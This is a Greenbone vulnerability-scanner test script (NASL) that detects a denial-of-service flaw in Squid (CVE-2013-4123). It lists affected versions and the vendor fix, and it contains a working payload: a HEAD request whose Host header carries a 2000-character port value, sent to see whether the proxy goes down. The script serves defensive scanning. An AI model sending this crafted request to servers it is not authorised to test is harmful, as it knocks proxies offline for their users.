Squid Host Header DoS Vulnerability (SQUID-2013:3)

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:squid-cache:squid";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802057");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2013-4123");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-08-12 12:42:47 +0530 (Mon, 12 Aug 2013)");
  script_name("Squid Host Header DoS Vulnerability (SQUID-2013:3)");

  script_tag(name:"summary", value:"Squid is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send crafted 'Host' header request and check is it vulnerable to DoS.");

  script_tag(name:"solution", value:"Update to version 3.2.13, 3.3.8 or later.");

  script_tag(name:"insight", value:"Error when handling port number values within the 'Host' header
  of HTTP requests.");

  script_tag(name:"affected", value:"Squid version 3.2 through 3.2.12 and versions 3.3 through
  3.3.7.");

  script_tag(name:"impact", value:"Successful exploitation could allow remote attackers to cause a
  denial of service via a crafted port number values in the 'Host' header.");

  script_xref(name:"URL", value:"http://www.scip.ch/en/?vuldb.9547");
  script_xref(name:"URL", value:"http://secunia.com/advisories/54142");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Jul/98");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/527294");
  script_xref(name:"URL", value:"http://www.squid-cache.org/Advisories/SQUID-2013_3.txt");
  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("gb_squid_http_detect.nasl");
  script_mandatory_keys("squid/http/detected");
  script_require_ports("Services/www", "Services/http_proxy", 3128);

  exit(0);
}

include("host_details.inc");
include("http_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
  exit(0);

useragent = http_get_user_agent();

crafted_port_value = crap(length:2000, data:"AZ");

crafted_req = string("HEAD http://testhostdoesnotexists.com HTTP/1.1\r\n",
                     "Host: ", "testhostdoesnotexists.com", ":", crafted_port_value, "\r\n",
                     "User-Agent: ", useragent, "\r\n", "\r\n");

crafted_res = http_send_recv(port:port, data:crafted_req);

sleep(3);

soc = http_open_socket(port);
if(!soc){
  security_message(port:port);
  exit(0);
}

http_close_socket(soc);

exit(99);